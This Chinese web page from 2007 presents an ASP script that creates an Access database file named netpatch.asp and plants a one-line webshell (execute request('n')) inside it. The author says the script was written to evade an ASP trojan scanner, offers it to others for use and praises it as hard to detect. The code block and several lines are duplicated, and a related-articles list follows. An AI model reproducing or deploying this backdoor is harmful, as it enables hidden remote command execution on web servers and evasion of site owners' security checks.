新型ASP后門源代碼分析
更新時(shí)間:2007年01月16日 00:00:00 作者:
本是為了逃LAKER2兄 查ASP木馬程序的
現(xiàn)在已經(jīng)挑戰(zhàn)成功,已經(jīng)加為檢查對(duì)象了。公布出代碼給冰點(diǎn)的朋友使使,希望大家喜歡!
利用的是ADOX.Catalog組件
新建一個(gè)名稱為netpatch.asp的空數(shù)據(jù)庫(kù)文件
然后把一句話木馬插入新建的表中作為C/S版本的ASP馬用!
優(yōu)點(diǎn),比較隱蔽,不容易讓人看出這是什么作用的!
現(xiàn)在已經(jīng)挑戰(zhàn)成功,已經(jīng)加為檢查對(duì)象了。公布出代碼給冰點(diǎn)的朋友使使,希望大家喜歡!
利用的是ADOX.Catalog組件
復(fù)制代碼 代碼如下:
<%
'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)
set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 創(chuàng)建成功<br> "
else
Response.Write "創(chuàng)建失敗,原因: " & err.description
Response.End
end if
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile
sql="CREATE TABLE fdata([data] Memo)"
conn.execute(sql)
Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="<%execute request(“n”))%>" '(注釋記得去掉!一句話后門 execute request(“n”))
rs.update
%>
此腳本主要是利用ADOX.Catalog組件 'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)
set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 創(chuàng)建成功<br> "
else
Response.Write "創(chuàng)建失敗,原因: " & err.description
Response.End
end if
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile
sql="CREATE TABLE fdata([data] Memo)"
conn.execute(sql)
Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="<%execute request(“n”))%>" '(注釋記得去掉!一句話后門 execute request(“n”))
rs.update
%>
新建一個(gè)名稱為netpatch.asp的空數(shù)據(jù)庫(kù)文件
然后把一句話木馬插入新建的表中作為C/S版本的ASP馬用!
優(yōu)點(diǎn),比較隱蔽,不容易讓人看出這是什么作用的!
您可能感興趣的文章:
- FreeTextBox 中文版下載[含源代碼] of asp.net
- 解密ASP源代碼
- Ajax+Asp源代碼]讀取數(shù)據(jù)庫(kù)內(nèi)容的表格(沒(méi)有用框架)
- ASP生成柱型體,折線圖,餅圖源代碼
- asp實(shí)現(xiàn)的7xi音樂(lè)網(wǎng)的采集源代碼
- asp.net下中文驗(yàn)證碼,免費(fèi)開源代碼
- AspNetPager分頁(yè)控件源代碼(Version 4.2)
- 國(guó)內(nèi)首款同時(shí)支持自定義404/505/rewrite的asp服務(wù)器(netbox制作,開放源代碼)
- ASP生成柱型體,折線圖,餅圖源代碼提供了
- asp.net 需要登陸的網(wǎng)站上下載網(wǎng)頁(yè)源代碼和文件
- ASP常用源代碼的總結(jié)(上)
相關(guān)文章
在MsSql、Access兩種數(shù)據(jù)庫(kù)中插入記錄后馬上得到自動(dòng)編號(hào)的ID值
在MsSql、Access兩種數(shù)據(jù)庫(kù)中插入記錄后馬上得到自動(dòng)編號(hào)的ID值...2006-07-07有效防止ASP木馬上傳運(yùn)行—小知識(shí)[網(wǎng)絡(luò)安全技術(shù)]
前使用IIS服務(wù)器的站長(zhǎng)很多,特別是對(duì)于ASP網(wǎng)站來(lái)說(shuō),防止ASP木馬成了網(wǎng)站安全最關(guān)鍵的內(nèi)容。2010-08-08eWebEditor:網(wǎng)站中的隱形問(wèn)題
這篇文章主要介紹了eWebEditor:網(wǎng)站中的隱形問(wèn)題,需要的朋友可以參考下2006-07-07